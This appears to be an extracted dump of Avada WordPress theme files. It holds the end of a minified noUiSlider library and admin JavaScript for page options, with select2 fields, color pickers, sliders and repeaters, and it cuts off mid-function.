0}function x(b,c,d){function e(a,b){return(a+b).toFixed(7)/1}var f=_.direction,g={},h=_.xVal[0],i=_.xVal[_.xVal.length-1],j=!1,k=!1,l=0;return _.direction=0,d=a(d.slice().sort(function(a,b){return a-b})),d[0]!==h&&(d.unshift(h),j=!0),d[d.length-1]!==i&&(d.push(i),k=!0),d.forEach(function(a,f){var h,i,m,n,o,p,q,r,s,t,u=a,v=d[f+1];if("steps"===c&&(h=_.xNumSteps[f]),h||(h=v-u),u!==!1&&void 0!==v)for(i=u;v>=i;i=e(i,h)){for(n=_.toStepping(i),o=n-l,r=o/b,s=Math.round(r),t=o/s,m=1;s>=m;m+=1)p=l+m*t,g[p.toFixed(5)]=["x",0];q=d.indexOf(i)>-1?1:"steps"===c?2:0,!f&&j&&(q=0),i===v&&k||(g[n.toFixed(5)]=[i,q]),l=n}}),_.direction=f,g}function y(a,b,c){function e(a,b){var c=b===d.cssClasses.value,e=c?m:n,f=c?k:l;return b+" "+e[d.ort]+" "+f[a]}function f(a,b,c){return'class="'+e(c[1],b)+'" style="'+d.style+": "+a+'%"'}function g(a,e){_.direction&&(a=100-a),e[1]=e[1]&&b?b(e[0],e[1]):e[1],j+="

    ",e[1]&&(j+="
    "+c.to(e[0])+"
    ")}var h=document.createElement("div"),j="",k=[d.cssClasses.valueNormal,d.cssClasses.valueLarge,d.cssClasses.valueSub],l=[d.cssClasses.markerNormal,d.cssClasses.markerLarge,d.cssClasses.markerSub],m=[d.cssClasses.valueHorizontal,d.cssClasses.valueVertical],n=[d.cssClasses.markerHorizontal,d.cssClasses.markerVertical];return i(h,d.cssClasses.pips),i(h,0===d.ort?d.cssClasses.pipsHorizontal:d.cssClasses.pipsVertical),Object.keys(a).forEach(function(b){g(b,a[b])}),h.innerHTML=j,h}function z(a){var b=a.mode,c=a.density||1,d=a.filter||!1,e=a.values||!1,f=a.stepped||!1,g=w(b,e,f),h=x(c,b,g),i=a.format||{to:Math.round};return Z.appendChild(y(h,d,i))}function A(){var a=V.getBoundingClientRect(),b="offset"+["Width","Height"][d.ort];return 0===d.ort?a.width||V[b]:a.height||V[b]}function B(a,b,c){var e;for(e=0;e1?!1:e.hover&&b.buttons?!1:(b.calcPoint=b.points[d.ort],void c(b,e)))},g=[];return a.split(" ").forEach(function(a){b.addEventListener(a,f,!1),g.push([a,f])}),g}function E(a,b){if(-1===navigator.appVersion.indexOf("MSIE 9")&&0===a.buttons&&0!==b.buttonsProperty)return F(a,b);var c,d,e=b.handles||W,f=!1,g=100*(a.calcPoint-b.start)/b.baseSize,h=e[0]===W[0]?0:1;if(c=o(g,b.positions,e.length>1),f=L(e[0],c[h],1===e.length),e.length>1){if(f=L(e[1],c[h?0:1],!1)||f)for(d=0;d1&&i(Z,d.cssClasses.drag);var h=function(){return!1};document.body.noUiListener=h,document.body.addEventListener("selectstart",h,!1)}void 0!==b.handleNumber&&B("start",b.handleNumber)}function I(a){var b,f,g=a.calcPoint,h=0;return a.stopPropagation(),W.forEach(function(a){h+=c(a)[d.style]}),b=h/2>g||1===W.length?0:1,W[b].hasAttribute("disabled")&&(b=b?0:1),g-=c(V)[d.style],f=100*g/A(),d.events.snap||e(Z,d.cssClasses.tap,d.animationDuration),W[b].hasAttribute("disabled")?!1:(L(W[b],f),B("slide",b,!0),B("set",b,!0),B("change",b,!0),void(d.events.snap&&H(a,{handles:[W[b]]})))}function J(a){var b=a.calcPoint-c(V)[d.style],e=_.getStep(100*b/A()),f=_.fromStepping(e);Object.keys(ba).forEach(function(a){"hover"===a.split(".")[0]&&ba[a].forEach(function(a){a.call(X,f)})})}function K(a){if(a.fixed||W.forEach(function(a,b){D(Y.start,a.children[0],H,{handles:[a],handleNumber:b})}),a.tap&&D(Y.start,V,I,{handles:W}),a.hover&&D(Y.move,V,J,{hover:!0}),a.drag){var b=[V.querySelector("."+d.cssClasses.connect)];i(b[0],d.cssClasses.draggable),a.fixed&&b.push(W[b[0]===W[0]?1:0].children[0]),b.forEach(function(a){D(Y.start,a,H,{handles:W})})}}function L(a,b,c){var e=a!==W[0]?1:0,g=$[0]+d.margin,h=$[1]-d.margin,k=$[0]+d.limit,l=$[1]-d.limit;return W.length>1&&(b=e?Math.max(b,g):Math.min(b,h)),c!==!1&&d.limit&&W.length>1&&(b=e?Math.min(b,k):Math.max(b,l)),b=_.getStep(b),b=f(b),b===$[e]?!1:(window.requestAnimationFrame?window.requestAnimationFrame(function(){a.style[d.style]=b+"%"}):a.style[d.style]=b+"%",a.previousSibling||(j(a,d.cssClasses.stacking),b>50&&i(a,d.cssClasses.stacking)),$[e]=b,aa[e]=_.fromStepping(b),B("update",e),!0)}function M(a,b){var c,e,f;for(d.limit&&(a+=1),c=0;a>c;c+=1)e=c%2,f=b[e],null!==f&&f!==!1&&("number"==typeof f&&(f=String(f)),f=d.format.from(f),(f===!1||isNaN(f)||L(W[e],_.toStepping(f),c===3-d.dir)===!1)&&B("update",e))}function N(a,b){var c,f,h=g(a);for(b=void 0===b?!0:!!b,d.dir&&d.handles>1&&h.reverse(),d.animate&&-1!==$[0]&&e(Z,d.cssClasses.tap,d.animationDuration),c=W.length>1?3:1,1===h.length&&(c=1),M(c,h),f=0;f=c[1]?c[2]:c[0]||!1;return[i,f]});return C(a)}function S(a,b){ba[a]=ba[a]||[],ba[a].push(b),"update"===a.split(".")[0]&&W.forEach(function(a,b){B("update",b)})}function T(a){var b=a&&a.split(".")[0],c=b&&a.substring(b.length);Object.keys(ba).forEach(function(a){var d=a.split(".")[0],e=a.substring(d.length);b&&b!==d||c&&c!==e||delete ba[a]})}function U(a,b){var c=P(),e=O({start:[0,0],margin:a.margin,limit:a.limit,step:void 0===a.step?d.singleStep:a.step,range:a.range,animate:a.animate,snap:void 0===a.snap?d.snap:a.snap});["margin","limit","range","animate"].forEach(function(b){void 0!==a[b]&&(d[b]=a[b])}),e.spectrum.direction=_.direction,_=e.spectrum,$=[-1,-1],N(a.start||c,b)}var V,W,X,Y=m(),Z=b,$=[-1,-1],_=d.spectrum,aa=[],ba={};if(Z.noUiSlider)throw new Error("Slider was already initialized.");return V=t(d.dir,d.ort,Z),W=s(d.handles,d.dir,V),r(d.connect,Z,W),d.pips&&z(d.pips),d.tooltips&&v(),X={destroy:Q,steps:R,on:S,off:T,get:P,set:N,updateOptions:U,options:n,target:Z,pips:z},K(d.events),X}function Q(a,b){if(!a.nodeName)throw new Error("noUiSlider.create requires a single element.");var c=O(b,a),d=P(a,c,b);return d.set(c.start),a.noUiSlider=d,d}x.prototype.getMargin=function(a){return 2===this.xPct.length?o(this.xVal,a):!1},x.prototype.toStepping=function(a){return a=s(this.xVal,this.xPct,a),this.direction&&(a=100-a),a},x.prototype.fromStepping=function(a){return this.direction&&(a=100-a),t(this.xVal,this.xPct,a)},x.prototype.getStep=function(a){return this.direction&&(a=100-a),a=u(this.xPct,this.xSteps,this.snap,a),this.direction&&(a=100-a),a},x.prototype.getApplicableStep=function(a){var b=r(a,this.xPct),c=100===a?2:1;return[this.xNumSteps[b-2],this.xVal[b-c],this.xNumSteps[b-c]]},x.prototype.convert=function(a){return this.getStep(this.toStepping(a))};var R={to:function(a){return void 0!==a&&a.toFixed(2)},from:Number};return{create:Q}}); Avada/assets/admin/js/avada-fusion-options.js000064400000121431152342437710015204 0ustar00/* global noUiSlider, wNumb, avadaPOMessages, ajaxurl */ var fusionPageOptions; jQuery( document ).ready( function() { var $rangeSlider, $i, fusionSelect2; fusionSelect2 = jQuery( '.pyre_field select:not(.hidden-sidebar):not([data-ajax]):not(.skip-select2)' ).filter( function() { return ! jQuery( this ).closest( '.fusion-repeater-wrapper' ).length; } ).select2( { minimumResultsForSearch: 10 } ); jQuery.each( fusionSelect2, function() { if ( 'undefined' !== typeof jQuery( this ).data( 'select2' ).dropdown ) { if ( 'undefined' !== typeof jQuery( this ).data( 'select2' ).dropdown.$dropdown ) { jQuery( this ).data( 'select2' ).dropdown.$dropdown.addClass( 'avada-select2' ); } else if ( 'undefined' !== typeof jQuery( this ).data( 'select2' ).dropdown.selector ) { jQuery( jQuery( this ).data( 'select2' ).dropdown.selector ).addClass( 'avada-select2' ); } } } ); if ( 'undefined' !== typeof ajaxurl ) { jQuery( '.pyre_field select[data-ajax]' ).filter( function() { return ! jQuery( this ).closest( '.fusion-repeater-wrapper' ).length; } ).each( function() { var $select, ajax, ajaxParams, labels, initAjaxSelect, maxInput; $select = jQuery( this ); ajax = $select.data( 'ajax' ); maxInput = $select.data( 'max-input' ); ajaxParams = $select.siblings( '.params' ).val(); labels = $select.siblings( '.initial-values' ).val(); ajaxParams = JSON.parse( ajaxParams ); labels = JSON.parse( _.unescape( labels ) ); initAjaxSelect = function() { var ajaxSelect = $select.select2( { width: '100%', delay: 250, minimumInputLength: 3, maximumSelectionLength: maxInput, ajax: { url: ajaxurl, dataType: 'json', data: function ( params ) { return { action: ajax, search: params.term, params: ajaxParams, fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val() }; } } } ); if ( 'undefined' !== typeof ajaxSelect.data( 'select2' ).dropdown ) { if ( 'undefined' !== typeof ajaxSelect.data( 'select2' ).dropdown.$dropdown ) { ajaxSelect.data( 'select2' ).dropdown.$dropdown.addClass( 'avada-select2' ); } else if ( 'undefined' !== typeof ajaxSelect.data( 'select2' ).dropdown.selector ) { jQuery( ajaxSelect.data( 'select2' ).dropdown.selector ).addClass( 'avada-select2' ); } } ajaxSelect.data( 'select2' ).on( 'results:message', function() { this.dropdown._resizeDropdown(); this.dropdown._positionDropdown(); } ); fusionSelect2.add( ajaxSelect ); }; // If there are initial values get labels else init ajax-select. if ( labels ) { jQuery.post( ajaxurl, { action: ajax, labels: labels, params: ajaxParams, fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val() }, function( data ) { data = JSON.parse( data ); labels = data.labels || []; _.each( labels, function( label ) { $select.append( '' ); } ); initAjaxSelect(); } ); } else { initAjaxSelect(); } } ); } jQuery( '.pyre_field.avada-buttonset.radio a' ).on( 'click', function( e ) { var $radiosetcontainer; e.preventDefault(); $radiosetcontainer = jQuery( this ).parents( '.fusion-form-radio-button-set' ); $radiosetcontainer.find( '.ui-state-active' ).removeClass( 'ui-state-active' ); jQuery( this ).addClass( 'ui-state-active' ); $radiosetcontainer.find( '.button-set-value' ).val( $radiosetcontainer.find( '.ui-state-active' ).data( 'value' ) ).trigger( 'change' ); } ); jQuery( '.pyre_field.avada-buttonset.checkbox a' ).on( 'click', function( e ) { var $checkboxsetcontainer; e.preventDefault(); $checkboxsetcontainer = jQuery( this ).closest( '.fusion-form-checkbox-button-set' ); jQuery( this ).toggleClass( 'ui-state-active' ); $checkboxsetcontainer.find( '.button-set-value' ).val( $checkboxsetcontainer.find( '.ui-state-active' ).map( function( _, el ) { return jQuery( el ).data( 'value' ); } ).get() ).trigger( 'change' ); } ); jQuery( '.pyre_field.avada-color input' ).each( function() { var self = jQuery( this ), $defaultReset = self.parents( '.pyre_metabox_field' ).find( '.pyre-default-reset' ); // Picker with default. if ( jQuery( this ).data( 'default' ) && jQuery( this ).data( 'default' ).length ) { jQuery( this ).awbColorPicker( { change: function( event ) { colorChange( jQuery( event.target ), $defaultReset ); }, clear: function( event ) { colorClear( jQuery( event.target ) ); } } ); if ( ! self.val() ) { $defaultReset.addClass( 'checked' ); } else { $defaultReset.removeClass( 'checked' ); } // Default reset icon, set value to empty. $defaultReset.on( 'click', 'a', function( event ) { var dataDefault, $input = jQuery( this ).closest( '.pyre_metabox_field' ).find( '.color-picker' ); event.preventDefault(); dataDefault = $input.attr( 'data-default' ) || $input.attr( 'data-default-color' ); // Make the color picker to start from the default color on open. if ( dataDefault ) { $input.val( dataDefault ).trigger( 'change' ); } $input.val( '' ).trigger( 'change' ); } ); // Picker without default. } else { jQuery( this ).awbColorPicker(); } } ); jQuery( '.fusion-sortable-options' ).each( function() { if ( '' === jQuery( this ).siblings( '.sort-order' ).val() ) { jQuery( this ).parents( '.pyre_metabox_field' ).find( '.fusion-builder-default-reset' ).addClass( 'checked' ); } jQuery( this ).sortable(); jQuery( this ).on( 'sortupdate', function( event ) { var sortContainer = jQuery( event.target ), sortOrder = ''; sortContainer.children( '.fusion-sortable-option' ).each( function() { sortOrder += jQuery( this ).data( 'value' ) + ','; } ); sortOrder = sortOrder.slice( 0, -1 ); sortContainer.siblings( '.sort-order' ).val( sortOrder ); sortContainer.parents( '.pyre_metabox_field' ).find( '.fusion-builder-default-reset' ).removeClass( 'checked' ); } ); jQuery( this ).parents( '.pyre_metabox_field' ).find( '.fusion-reset-to-default' ).on( 'click', function( e ) { var order = jQuery( this ).data( 'default' ).split( ',' ), sortable = jQuery( this ).parents( '.pyre_metabox_field' ).find( '.fusion-sortable-options' ), first = sortable.find( '[data-value="' + order[ 0 ] + '"]' ), second = sortable.find( '[data-value="' + order[ 1 ] + '"]' ), third = sortable.find( '[data-value="' + order[ 2 ] + '"]' ); sortable.prepend( first ); sortable.append( second ); sortable.append( third ); sortable.sortable( 'refresh' ); sortable.parent().find( 'input' ).val( '' ); jQuery( this ).parent().addClass( 'checked' ); e.preventDefault(); } ); } ); // Metaboxes states. jQuery( '.pyre_metabox_field .option-has-state' ).on( 'click', function( event ) { var $element = jQuery( event.currentTarget ).parent(); $element.toggleClass( 'active-item' ); } ); jQuery( '.pyre_metabox_field .fusion-states-panel' ).on( 'focusout', function( event ) { setTimeout( function() { // we need timeout to wait for the next element to get focused. if ( ! jQuery( event.currentTarget ).find( ':focus' ).length ) { jQuery( event.currentTarget ).removeClass( 'active-item' ); } }, 10 ); } ); jQuery( '.pyre_metabox_field .fusion-state-options a' ).on( 'click', function( event ) { event.preventDefault(); const el = jQuery( event.currentTarget ); const paramName = el.attr( 'data-param_name' ); if ( ! paramName ) { return; } const toHide = el.closest( '.pyre_metabox_field' ); const toShow = toHide.siblings( '[data-id="' + paramName + '"]' ); if ( toShow.length && toHide.attr( 'data-id' ) !== toShow.attr( 'data-id' ) ) { toHide.addClass( 'pyre_metabox_field_state_hidden' ); toShow.removeClass( 'pyre_metabox_field_state_hidden' ); toShow.find( '.fusion-states-panel .option-has-state' ).focus(); } } ); function avadaCheckDependency( $currentValue, $desiredValue, $comparison ) { if ( '==' === $comparison || '=' === $comparison ) { if ( $currentValue == $desiredValue ) { // jshint ignore:line return true; } } else if ( '>=' === $comparison ) { if ( $currentValue >= $desiredValue ) { return true; } } else if ( '<=' === $comparison ) { if ( $currentValue <= $desiredValue ) { return true; } } else if ( '>' === $comparison ) { if ( $currentValue > $desiredValue ) { return true; } } else if ( '<' === $comparison ) { if ( $currentValue < $desiredValue ) { return true; } } else if ( '!=' === $comparison ) { if ( $currentValue != $desiredValue ) { // jshint ignore:line return true; } } else if ( 'contains' === $comparison ) { if ( $currentValue && $currentValue.includes( $desiredValue ) ) { return true; } } return false; } function avadaLoopDependencies( $container ) { var $passed = false; $container.find( 'span' ).each( function() { var $value = jQuery( this ).data( 'value' ), $comparison = jQuery( this ).data( 'comparison' ), $field = jQuery( this ).data( 'field' ), $target = $container.closest( '.fusion-repeater-row' ).length ? $container.closest( '.fusion-repeater-row' ).find( '#pyre_' + $field ) : jQuery( '#pyre_' + $field ); $passed = avadaCheckDependency( $target.val(), $value, $comparison ); return $passed; } ); if ( $passed ) { $container.closest( '.pyre_metabox_field' ).fadeIn( 300 ); } else { $container.closest( '.pyre_metabox_field' ).hide(); } } jQuery( '.avada-dependency' ).filter( function() { return ! jQuery( this ).closest( '.fusion-repeater-row' ).length; } ).each( function() { avadaLoopDependencies( jQuery( this ) ); } ); jQuery( '[id*="pyre"]' ).on( 'change.dependency', function() { var $id = jQuery( this ).attr( 'id' ), $field = $id.replace( 'pyre_', '' ); jQuery( 'span[data-field="' + $field + '"]' ).each( function() { avadaLoopDependencies( jQuery( this ).parents( '.avada-dependency' ) ); } ); } ); function createSlider( $slide, $targetId, $rangeInput, $min, $max, $step, $value, $decimals, $rangeDefault, $hiddenValue, $defaultValue, $direction ) { // Create slider with values passed on in data attributes. var $slider = noUiSlider.create( $rangeSlider[ $slide ], { start: [ $value ], step: $step, direction: $direction, range: { min: $min, max: $max }, format: wNumb( { decimals: $decimals } ) } ), $notFirst = false; // Check if default is currently set. if ( $rangeDefault && '' === $hiddenValue.val() ) { $rangeDefault.parent().addClass( 'checked' ); } // If this range has a default option then if checked set slider value to data-value. if ( $rangeDefault ) { $rangeDefault.on( 'click', function( e ) { e.preventDefault(); $rangeSlider[ $slide ].noUiSlider.set( $defaultValue ); $hiddenValue.val( '' ).trigger( 'fusion-changed' ); jQuery( this ).parent().addClass( 'checked' ); } ); } // On slider move, update input $slider.on( 'update', function( values, handle ) { if ( $rangeDefault && $notFirst ) { $rangeDefault.parent().removeClass( 'checked' ); $hiddenValue.val( values[ handle ] ).trigger( 'fusion-changed' ); } $notFirst = true; jQuery( this.target ).closest( '.fusion-slider-container' ).prev().val( values[ handle ] ); jQuery( '#' + $targetId ).trigger( 'change' ); jQuery( '#pyre_' + $targetId ).trigger( 'change' ); if ( jQuery( '#' + $targetId ).length ) { jQuery( '#' + $targetId ).trigger( 'fusion-changed' ); } else { jQuery( '#slider' + $targetId ).trigger( 'fusion-changed' ); } } ); // On manual input change, update slider position $rangeInput.on( 'change', function( values, handle ) { if ( $rangeDefault && 'undefined' !== typeof values[ handle ] ) { $rangeDefault.parent().removeClass( 'checked' ); $hiddenValue.val( values[ handle ] ); } if ( this.value !== $rangeSlider[ $slide ].noUiSlider.get() ) { $rangeSlider[ $slide ].noUiSlider.set( this.value ); } } ); } $rangeSlider = jQuery( '.pyre_field.avada-range .fusion-slider-container' ); if ( $rangeSlider.length ) { // Counter variable for sliders $i = 0; // Method for retreiving decimal places from step Number.prototype.countDecimals = function() { // eslint-disable-line no-extend-native if ( Math.floor( this.valueOf() ) === this.valueOf() ) { return 0; } return this.toString().split( '.' )[ 1 ].length || 0; }; // Each slider on page, determine settings and create slider $rangeSlider.each( function() { var $targetId = jQuery( this ).data( 'id' ), $rangeInput = jQuery( this ).prev( '.fusion-slider-input' ), $min = jQuery( this ).data( 'min' ), $max = jQuery( this ).data( 'max' ), $step = jQuery( this ).data( 'step' ), $direction = jQuery( this ).data( 'direction' ), $value = $rangeInput.val(), $decimals = $step.countDecimals(), $rangeDefault = ( jQuery( this ).parents( '.pyre_metabox_field' ).find( '.fusion-range-default' ).length ) ? jQuery( this ).parents( '.pyre_metabox_field' ).find( '.fusion-range-default' ) : false, $hiddenValue = ( $rangeDefault ) ? jQuery( this ).parent().find( '.fusion-hidden-value' ) : false, $defaultValue = ( $rangeDefault ) ? jQuery( this ).parents( '.pyre_metabox_field' ).find( '.fusion-range-default' ).data( 'default' ) : false; createSlider( $i, $targetId, $rangeInput, $min, $max, $step, $value, $decimals, $rangeDefault, $hiddenValue, $defaultValue, $direction ); $i++; } ); } function colorChange( input, defaultReset ) { if ( ! input.val() ) { defaultReset.addClass( 'checked' ); } else { defaultReset.removeClass( 'checked' ); } input.trigger( 'fusion-changed' ); } function colorClear( input ) { var defaultColor = input.data( 'default' ); if ( null !== defaultColor ) { input.val( defaultColor ); input.change(); input.val( '' ); input.parent().parent().find( '.wp-color-result' ).css( 'background-color', defaultColor ); } input.trigger( 'fusion-changed' ); } /* PO export / import tab */ fusionPageOptions = { init: function() { var self = this; jQuery( '#fusion-page-options-save' ).on( 'click', self.saveOptions ); jQuery( '#fusion-page-options-import-saved' ).on( 'click', self.importSavedOptions ); jQuery( '#fusion-page-options-delete-saved' ).on( 'click', self.deleteSaved ); jQuery( '#fusion-saved-page-options-select' ).on( 'change', self.showHideButtons ); jQuery( '#fusion-page-options-import' ).on( 'click', self.importOptions ); jQuery( '#fusion-page-options-file-input' ).on( 'change', self.prepareUpload ); jQuery( '#fusion-page-options-export' ).on( 'click', self.exportOptions ); this.initRepeaters(); this.initLogics(); this.initToggles(); this.initCounterTextareas(); this.initDateTimePickers(); }, initToggles: function() { var self = this; jQuery( '.fusion-toggle-wrapper' ).each( function() { self.initToggle( jQuery( this ) ); } ); }, initToggle: function( $element ) { $element.off( 'click.toggle' ).on( 'click.toggle', '.fusion-row-title.fusion-toggle-title', function( event ) { // Toggle visibility of fields. jQuery( event.target ).closest( '.fusion-toggle-row' ).find( '.fusion-row-fields' ).slideToggle( 300 ); } ); }, initCounterTextareas: function() { const self = this; jQuery( '.pyre_field .awb-textarea-counter' ).each( function() { self.setCounter( jQuery( this ) ); jQuery( this ).keyup( function() { self.setCounter( jQuery( this ) ); } ); } ); }, initDateTimePickers: function() { jQuery( '.pyre_field .fusion-datetime.full-picker' ).each( function() { jQuery( this ).fusiondatetimepicker( { format: 'yyyy-MM-dd hh:mm:ss' } ); } ); }, setCounter: function( textarea ) { const max = '' !== textarea.attr( 'maxlength' ) ? textarea.attr( 'maxlength' ) : '', delimiter = max ? ' / ' : '', range = String( textarea.data( 'range' ) ), steps = range.split( '|' ), step1 = '' !== steps[ 0 ] ? steps[ 0 ] : 0, step2 = 'undefined' !== typeof steps[ 1 ] ? steps[ 1 ] : 0, currentLength = textarea.val().length, counter = textarea.next(); let color = step1 ? '#dc3232' : ''; if ( step2 && step1 < currentLength && step2 > currentLength ) { color = '#65bc7b'; } else if ( ! step2 && step1 > currentLength ) { color = '#65bc7b'; } counter.html( currentLength + delimiter + max ); counter.css( 'color', color ); }, initLogics: function() { var self = this; /* jQuery( '.fusion-logics-wrapper' ).each( function() { self.initLogic( jQuery( this ) ); } ); */ jQuery( document ).on( 'fusion-builder-content-updated', function( event, data ) { setTimeout( self.rebuildFormFields(), 1000 ); } ); }, rebuildFormFields: function() { const formPostContent = fusionBuilderGetContent( 'content' ); if ( '' !== formPostContent ) { // Get form field names. const nameRegex = /\[fusion_form_[^\]]*\sname="([^"]*)"/g; const labelRegex = /\[fusion_form_[^\]]*\slabel="([^"]*)"/g; const fieldNames = []; const fieldLabels = []; let match; // Extract all field names. while ( null !== ( match = nameRegex.exec( formPostContent ) ) ) { fieldNames.push( match[1] ); } // Extract all field labels. while ( null !== ( match = labelRegex.exec( formPostContent ) ) ) { fieldLabels.push( match[1] ); } // If labels are missing or not unique, fallback to converted names. const filteredLabels = fieldLabels.filter( label => label && '' !== label.trim() ); const isMismatch = fieldNames.length !== filteredLabels.length || new Set(fieldLabels).size !== fieldLabels.length; if ( isMismatch ) { // Replace with labelified version of name. fieldLabels.length = 0; // clear fieldNames.forEach( name => { name = String( name ); // cast to string name = name.replace( /[_-]/g, ' ' ); // replace underscores and dashes with space name = name.replace( /\b\w/g, c => c.toUpperCase() ); fieldLabels.push( name ); } ); } // Combine into object: { name: label, ... }. const formFields = {}; for ( let i = 0; i < fieldNames.length; i++ ) { formFields[ fieldNames[ i ] ] = fieldLabels[ i ]; } const $select = jQuery( '.fusion-logics-wrapper' ).find( '#pyre_field.select2-hidden-accessible' ); $select.each( function() { if ( jQuery( this ).data( 'select2' ) ) { const selected = jQuery( this ).val(); jQuery( this ).empty(); for ( const [value, label] of Object.entries( formFields ) ) { const selectOption = value === selected; jQuery( this ).append( new Option( label, value, selectOption, selectOption ) ); } jQuery( this ).select2( 'destroy' ).select2( { minimumResultsForSearch: 10, width: '100%' } ); } } ); } }, initLogic: function( $element ) { var self = this, $defaultFields = $element.find( '> .pyre_field > .fusion-repeater-default-fields' ), $addButton = $element.find( '> .pyre_desc > .fusion-add-row' ), $rows = $element.find( '> .pyre_field > .fusion-repeater-rows' ), $value = $element.find( '> .pyre_field > .logics-value' ), values = $value.val(), titleBind = $value.data( 'bind' ); // Empty default fields. $defaultFields.find( 'input, select, textarea' ).each( function() { if ( jQuery( this ).hasClass( 'fusion_upload_button' ) ) { return; } jQuery( this ).removeAttr( 'value' ); if ( 'undefined' !== typeof jQuery( this ).attr( 'name' ) ) { jQuery( this ).attr( 'name', jQuery( this ).attr( 'name' ).replace( '_fusion[', '' ).replace( ']', '' ) ); } if ( jQuery( this ).is( 'textarea' ) ) { jQuery( this ).text( '' ); } } ); const $defaults = $defaultFields.html(); $rows.empty(); if ( 'string' === typeof values && '' !== values ) { try { values = JSON.parse( self.base64Decode( values ) ); self.insertOptionsWithValues( $element, values, titleBind ); } catch ( e ) { console.warn( 'Something went wrong! Error triggered - ' + e ); } } // Add a repeater row on click. $addButton.on( 'click', function( event ) { event.preventDefault(); // Add the markup. $rows.append( '
    ' + $defaults + '
    ' ); // Auto open new row. $rows.find( '.fusion-needs-init .fusion-row-fields' ).css( { display: 'block' } ); // Init the options and dependencies. self.initOptions( $element ); // Updates value. self.setRepeaterValue( $element ); } ); // Row remove button click. $element.off( 'click.remove' ).on( 'click.remove', '> .pyre_field > .fusion-repeater-rows > .fusion-repeater-row > .fusion-row-title > .repeater-row-remove', function( event ) { event.preventDefault(); // Remove visible row. jQuery( event.target ).closest( '.fusion-repeater-row' ).remove(); // Update the hidden input value. self.setRepeaterValue( $element ); } ); // Row remove button click. $element.off( 'click.toggle' ).on( 'click.toggle', '> .pyre_field > .fusion-repeater-rows > .fusion-repeater-row > .fusion-row-title:not(.fusion-toggle-title)', function( event ) { if ( jQuery( event.target ).hasClass( 'repeater-row-remove' ) ) { return; } jQuery( event.target ).closest( '.fusion-repeater-row' ).find( '> .fusion-row-fields' ).slideToggle( 300 ); } ); // Any option change, need to update repeater value. $element.on( 'change', '[id^="pyre"]', function() { self.setRepeaterValue( $element ); } ); $element.on( 'change', '#pyre_operator', function( e ) { e.preventDefault(); if ( 'or' === jQuery( this ).val() ) { jQuery( this ).closest( '.fusion-repeater-row' ).addClass( 'has-or' ); } else { jQuery( this ).closest( '.fusion-repeater-row' ).removeClass( 'has-or' ); } } ); }, initRepeaters: function() { var self = this; jQuery( '.fusion-repeater-wrapper:not(.fusion-toggle-wrapper):not(.fusion-logics-wrapper)' ).each( function() { self.initRepeater( jQuery( this ) ); } ); }, initRepeater: function( $element ) { var self = this, $defaultFields = $element.find( '> .pyre_field > .fusion-repeater-default-fields' ), $addButton = $element.find( '> .pyre_desc > .fusion-add-row' ), $rows = $element.find( '> .pyre_field > .fusion-repeater-rows' ), $value = $element.find( '> .pyre_field > .repeater-value' ), values = $value.val(), titleBind = $value.data( 'bind' ); // Empty default fields. $defaultFields.find( 'input, select, textarea' ).each( function() { if ( jQuery( this ).hasClass( 'fusion_upload_button' ) ) { return; } jQuery( this ).removeAttr( 'value' ); if ( 'undefined' !== typeof jQuery( this ).attr( 'name' ) ) { jQuery( this ).attr( 'name', jQuery( this ).attr( 'name' ).replace( '_fusion[', '' ).replace( ']', '' ) ); } if ( jQuery( this ).is( 'textarea' ) ) { jQuery( this ).text( '' ); } } ); const $defaults = $defaultFields.html(); $rows.empty(); if ( 'string' === typeof values && '' !== values ) { try { values = JSON.parse( values ); self.insertOptionsWithValues( $element, values, titleBind ); } catch ( e ) { console.warn( 'Something went wrong! Error triggered - ' + e ); } } // Add a repeater row on click. $addButton.on( 'click', function( event ) { event.preventDefault(); // Add the markup. $rows.append( '
    ' + $defaults + '
    ' ); // Auto open new row. $rows.find( '.fusion-needs-init .fusion-row-fields' ).css( { display: 'block' } ); // Init the options and dependencies. self.initOptions( $element ); // Updates value. self.setRepeaterValue( $element ); } ); // Row remove button click. $element.off( 'click.remove' ).on( 'click.remove', '> .pyre_field > .fusion-repeater-rows > .fusion-repeater-row > .fusion-row-title > .repeater-row-remove', function( event ) { event.preventDefault(); // Remove visible row. jQuery( event.target ).closest( '.fusion-repeater-row' ).remove(); // Update the hidden input value. self.setRepeaterValue( $element ); } ); // Row remove button click. $element.off( 'click.toggle' ).on( 'click.toggle', '> .pyre_field > .fusion-repeater-rows > .fusion-repeater-row > .fusion-row-title:not(.fusion-toggle-title)', function( event ) { if ( jQuery( event.target ).hasClass( 'repeater-row-remove' ) ) { return; } // Toggle visibility of fields. jQuery( event.target ).closest( '.fusion-repeater-row' ).find( '> .fusion-row-fields' ).slideToggle( 300 ); } ); // Bind title to option if set. if ( '' !== titleBind ) { $element.on( 'change', '[id="pyre_' + titleBind + '"]', function( event ) { self.setInputLabel( jQuery( event.target ) ); } ); } // Any option change, need to update repeater value. $element.on( 'change', '[id^="pyre"]', function() { if ( ! jQuery( this ).closest( '.pyre_metabox_field' ).hasClass( '.fusion-toggle-wrapper') && ! jQuery( this ).closest( '.pyre_metabox_field' ).hasClass( '.fusion-logics-wrapper' ) ) { self.setRepeaterValue( $element ); } } ); }, setInputLabel: function( $input ) { var value = $input.val(), $repeaterRow = $input.closest( '.fusion-repeater-row' ), $title = $repeaterRow.find( 'h4' ).filter( function() { return ! jQuery( this ).closest( '.pyre_metabox_field' ).length; } ); if ( $input.is( 'select' ) ) { value = $input.find( 'option:selected' ).text(); } $title.text( value ); }, insertOptionsWithValues: function( $wrapper, values, titleBind ) { var self = this, $defaults = $wrapper.find( '> .pyre_field > .fusion-repeater-default-fields' ), $rows = $wrapper.find( '> .pyre_field > .fusion-repeater-rows' ); if ( 'object' === typeof values ) { jQuery.each( values, function( key, valueObject ) { var $newrow = jQuery( '
    ' + $defaults.clone().html() + '
